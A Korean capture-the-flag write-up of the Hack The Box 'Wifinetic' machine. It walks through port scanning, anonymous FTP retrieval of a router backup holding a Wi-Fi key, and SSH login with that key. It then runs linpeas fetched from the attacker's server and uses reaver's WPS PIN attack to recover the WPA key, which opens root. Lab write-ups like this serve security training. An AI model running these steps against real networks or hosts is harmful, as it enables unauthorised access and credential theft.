Wifinetic

```
dgevvy@dgevy:~/Desktop/HTB/wifinetic$ sudo nmap -p- --open -sS --min-rate 5000 -Pn -n -v $server -oN landlisis
[sudo] password for dgevvy:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-24 19:26 EST
Initiating SYN Stealth Scan at 19:26
Scanning 10.10.11.247 [65535 ports]
Discovered open port 22/tcp on 10.10.11.247
Discovered open port 21/tcp on 10.10.11.247
Discovered open port 53/tcp on 10.10.11.247
Completed SYN Stealth Scan at 19:26, 21.98s elapsed (65535 total ports)
Nmap scan report for 10.10.11.247
Host is up (0.89s latency).
Not shown: 65257 closed tcp ports (reset), 275 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
53/tcp open  domain

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 22.11 seconds
           Raw packets sent: 99904 (4.396MB) | Rcvd: 96856 (3.874MB)
```

`ftp`, `ssh`, `dns` 포트가 열려 있는 것을 확인할 수 있다.

```
dgevvy@dgevy:~/Desktop/HTB/wifinetic$ sudo nmap -p21,22,53 -sCV -v $server -oN 2analisis
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-24 19:28 EST
...
Host is up (0.28s latency).

PORT   STATE SERVICE    VERSION
21/tcp open  ftp        vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.10.16.3
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 ftp      ftp          4434 Jul 31 11:03 MigrateOpenWrt.txt
| -rw-r--r--    1 ftp      ftp       2501210 Jul 31 11:03 ProjectGreatMigration.pdf
| -rw-r--r--    1 ftp      ftp         60857 Jul 31 11:03 ProjectOpenWRT.pdf
| -rw-r--r--    1 ftp      ftp         40960 Sep 11 15:25 backup-OpenWrt-2023-07-26.tar
|_-rw-r--r--    1 ftp      ftp         52946 Jul 31 11:03 employees_wellness.pdf
22/tcp open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
53/tcp open  tcpwrapped
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
Initiating NSE at 19:29
Completed NSE at 19:29, 0.00s elapsed
Initiating NSE at 19:29
Completed NSE at 19:29, 0.00s elapsed
Initiating NSE at 19:29
Completed NSE at 19:29, 0.00s elapsed
```

```
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.11 seconds
           Raw packets sent: 7 (284B) | Rcvd: 7 (280B)
```

`ftp` 서버에 `Anonymous`로 접속하는 것이 가능하다는 것을 알 수 있다.

```
dgevvy@dgevy:~/Desktop/HTB/wifinetic$ ftp $server
Connected to 10.10.11.247.
220 (vsFTPd 3.0.3)
Name (10.10.11.247:dgevvy): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||45131|)
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp          4434 Jul 31 11:03 MigrateOpenWrt.txt
-rw-r--r--    1 ftp      ftp       2501210 Jul 31 11:03 ProjectGreatMigration.pdf
-rw-r--r--    1 ftp      ftp         60857 Jul 31 11:03 ProjectOpenWRT.pdf
-rw-r--r--    1 ftp      ftp         40960 Sep 11 15:25 backup-OpenWrt-2023-07-26.tar
-rw-r--r--    1 ftp      ftp         52946 Jul 31 11:03 employees_wellness.pdf
226 Directory send OK.
ftp> mget *
mget MigrateOpenWrt.txt [anpqy?]? y
...
226 Transfer complete.
```

`ftp`에 anonymous 명령으로 접속한 뒤, `mget *` 명령으로 모든 파일을 설치한다.

```
dgevvy@dgevy:~/Desktop/HTB/wifinetic/files/etc$ cat config/wireless

config wifi-device 'radio0'
        option type 'mac80211'
        option path 'virtual/mac80211_hwsim/hwsim0'
        option cell_density '0'
        option channel 'auto'
        option band '2g'
        option txpower '20'

config wifi-device 'radio1'
        option type 'mac80211'
        option path 'virtual/mac80211_hwsim/hwsim1'
        option channel '36'
        option band '5g'
        option htmode 'HE80'
        option cell_density '0'

config wifi-iface 'wifinet0'
        option device 'radio0'
        option mode 'ap'
        option ssid 'OpenWrt'
        option encryption 'psk'
        option key 'VeRyUniUqWiFIPasswrd1!'
        option wps_pushbutton '1'

config wifi-iface 'wifinet1'
        option device 'radio1'
        option mode 'sta'
        option network 'wwan'
        option ssid 'OpenWrt'
        option encryption 'psk'
        option key 'VeRyUniUqWiFIPasswrd1!'
```

`backup-OpenWrt-2023-07-26.tar` 안의 파일을 뒤져보니 패스워드(`VeRyUniUqWiFIPasswrd1!`)가 저장된 파일을 찾을 수 있었다.

> OpenWrt의 `config/wireless` 파일은 무선 네트워크 설정에 관련된 정보를 담고 있습니다. 파일의 내용은 사용하는 무선 카드와 설정에 따라 다르지만, 일반적으로 다음과 같은 섹션을 포함하고 있을 수 있습니다:

> - `config wifi-device 'radio0'`: 이 섹션은 무선 장치(일반적으로 'radio0', 'radio1' 등으로 표시)에 대한 설정을 정의합니다. 이 섹션에는 무선 장치의 드라이버, 채널, 전력 등에 대한 설정이 포함될 수 있습니다.
> - `config wifi-iface`: 이 섹션은 무선 인터페이스에 대한 설정을 정의합니다. 이 섹션에는 무선 네트워크의 SSID, 암호화 방식, 비밀번호 등에 대한 설정이 포함될 수 있습니다.

```
dgevvy@dgevy:~/Desktop/HTB/wifinetic/files/etc$ ssh netadmin@$server
netadmin@10.10.11.247\'s password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-162-generic x86_64)
...

Last login: Thu Jan 25 01:04:26 2024 from 10.10.14.3
netadmin@wifinetic:~$
```

`machine info`에 `netadmin` 사용자에 대한 언급이 있어서 해당 사용자로 `ssh` 접속을 한 뒤, 위에서 구한 패스워드를 입력하니 접속에 성공하였다.

```
netadmin@wifinetic:~$ cat user.txt
77d887f4759bd86cba9199832e97f606
```

유저 플래그를 획득할 수 있다.

```
dgevvy@dgevy:~/Desktop/Tools$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.247 - - [24/Jan/2024 20:14:05] "GET /linpeas.sh HTTP/1.1" 200 -
```

취약점을 찾기 위해 `linpeas.sh`를 사용한다. 해당 스크립트가 있는 폴더를 호스팅한다.

```
netadmin@wifinetic:~$ wget 10.10.16.3:8000/linpeas.sh
--2024-01-25 01:14:05--  http://10.10.16.3:8000/linpeas.sh
Connecting to 10.10.16.3:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 853290 (833K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh                 100%[=======================================>] 833.29K   149KB/s    in 6.2s

2024-01-25 01:14:12 (134 KB/s) - ‘linpeas.sh’ saved [853290/853290]
```

서버에서 설치 후 실행한다.
실행해보니 특별한 취약점은 발견할 수 없었다.

```
netadmin@wifinetic:~$ find / -perm -4000 -a -user root 2> /dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/bin/mount
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/passwd
/usr/bin/fusermount
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/su
```

이후로도 계속 찾아봤다. 위 명령에서 볼 수 있듯이 `setUID`가 설정되어 있고 소유자가 `root`인 파일도 찾아봤는데 공격에 사용할 수 있을 것으로 보이는 프로그램은 찾을 수 없었다.

```
netadmin@wifinetic:~$ apt list | grep reaver
WARNING: apt does not have a stable CLI interface. Use with caution in scripts.
reaver/focal 1.6.5-1 amd64
```

머신 정보에 `WPA2` 크랙에 관한 내용이 담겨있어서 관련 내용을 찾아보니 reaver라는 툴을 찾을 수 있었다.
피해자 서버에서 해당 툴을 찾아보니 깔려 있었다.

```
netadmin@wifinetic:~$ getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/reaver = cap_net_raw+ep
```

> `getcap` 명령은 Linux 시스템에서 파일에 부여된 기능(capabilities)을 확인하는 데 사용된다. 파일 기능은 리눅스 커널 2.2 이후로 도입된 보안 메커니즘이며, 특정 파일이 루트 권한 없이도 특정 작업을 수행할 수 있도록 허용합니다.

여기서 `/usr/bin/reaver`부분을 보면 `reaver`가 `cap_net_raw` 기능을 가지고 있다는 것을 알 수 있다. 이는 이 프로그램이 루트 권한 없이도 raw 소켓을 사용할 수 있음을 의미한다. 따라서 패스워드 크랙이 가능하다!

```
netadmin@wifinetic:~$ iwconfig
wlan0     IEEE 802.11  Mode:Master  Tx-Power=20 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:on

hwsim0    no wireless extensions.

lo        no wireless extensions.

eth0      no wireless extensions.

wlan2     IEEE 802.11  ESSID:off/any
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:on

mon0      IEEE 802.11  Mode:Monitor  Tx-Power=20 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:on

wlan1     IEEE 802.11  ESSID:"OpenWrt"
          Mode:Managed  Frequency:2.412 GHz  Access Point: 02:00:00:00:00:00
          Bit Rate:54 Mb/s   Tx-Power=20 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:on
          Link Quality=70/70  Signal level=-30 dBm
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:8   Missed beacon:0
```

> `iwconfig` 명령은 무선 네트워크 인터페이스의 현재 설정을 확인하거나 변경하는데 사용된다.

`iwconfig` 명령을 사용해보면 모니터 모드 인터페이스인 `mon0`을 발견할 수 있다. 해당 인터페이스를 크랙하면 될 것 같다.

> 모니터 모드는 **무선 네트워크 카드가 근처의 모든 무선 트래픽을 수집하도록 설정하는 모드**입니다. 일반적으로 **무선 네트워크 카드는 연결된 네트워크의 트래픽만 수신하지만, 모니터 모드에서는 AP가 아닌 다른 클라이언트의 트래픽도 수신**할 수 있습니다. WPA/WPA2 암호를 크래킹하는 과정에서는 '핸드셰이크'라는 과정이 포함되는데, 이는 클라이언트와 AP간에 암호화된 연결을 설정하는 과정입니다. 핸드셰이크 과정 중에는 암호 정보가 포함된 패킷이 교환되므로, 이 패킷을 캡처할 수 있으면 해당 네트워크의 암호를 크래킹할 수 있습니다. 따라서, **WPA/WPA2 암호를 크래킹하려면 먼저 모니터 모드를 활성화하여 핸드셰이크 패킷을 캡처**해야 합니다. 그리고 이 패킷을 분석하여 암호를 크래킹할 수 있습니다. 이러한 작업은 모니터 모드에서만 가능하므로, 모니터 모드는 네트워크 보안 테스트와 해킹 등에 필수적인 도구입니다.

`reaver`를 사용하려면 인터페이스 명과 AP의 BSSID를 알아야 한다.

> BSSID는 Basic Service Set Identifier의 약자로, **무선 네트워크에서 AP(Access Point)를 식별하는 데 사용되는 고유한 식별자**입니다. **BSSID는 AP의 MAC(Media Access Control) 주소와 동일**하며, 이는 AP의 물리적인 주소를 나타냅니다. MAC 주소는 6바이트(48비트)로 구성되며, 보통 12자리의 16진수로 표시됩니다. 무선 네트워크에서는 여러 AP가 동일한 ESSID(Extended Service Set Identifier, 즉 네트워크 이름)를 가질 수 있습니다.

공격 대상 AP인 `wlan`의 BSSID는 `02:00:00:00:00:00`이다.

```
netadmin@wifinetic:~$ reaver -i mon0 -b 02:00:00:00:00:00 -vv

Reaver v1.6.5 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
```

```
[+] Waiting for beacon from 02:00:00:00:00:00
[+] Switching mon0 to channel 1
[+] Received beacon from 02:00:00:00:00:00
[+] Trying pin "12345670"
[+] Sending authentication request
[!] Found packet with bad FCS, skipping...
[+] Sending association request
[+] Associated with 02:00:00:00:00:00 (ESSID: OpenWrt)
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M7 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[+] Pin cracked in 2 seconds
[+] WPS PIN: '12345670'
[+] WPA PSK: 'WhatIsRealAnDWhAtIsNot51121!'
[+] AP SSID: 'OpenWrt'
[+] Nothing done, nothing to save.

netadmin@wifinetic:~$ su -
Password:

root@wifinetic:~# ls
root.txt  snap

root@wifinetic:~# cat root.txt
135f3941f9fd3ac7d1b230893d656b97
```

대상 인터페이스와 BSSID를 인자로 주고 실행하면 패스워드를 획득할 수 있다.
`WPA PSK`의 값이 바로 무선 네트워크의 패스워드이다.

root 패스워드로 보여서 root의 패스워드로 넣어봤더니 맞아서 플래그를 획득할 수 있었다.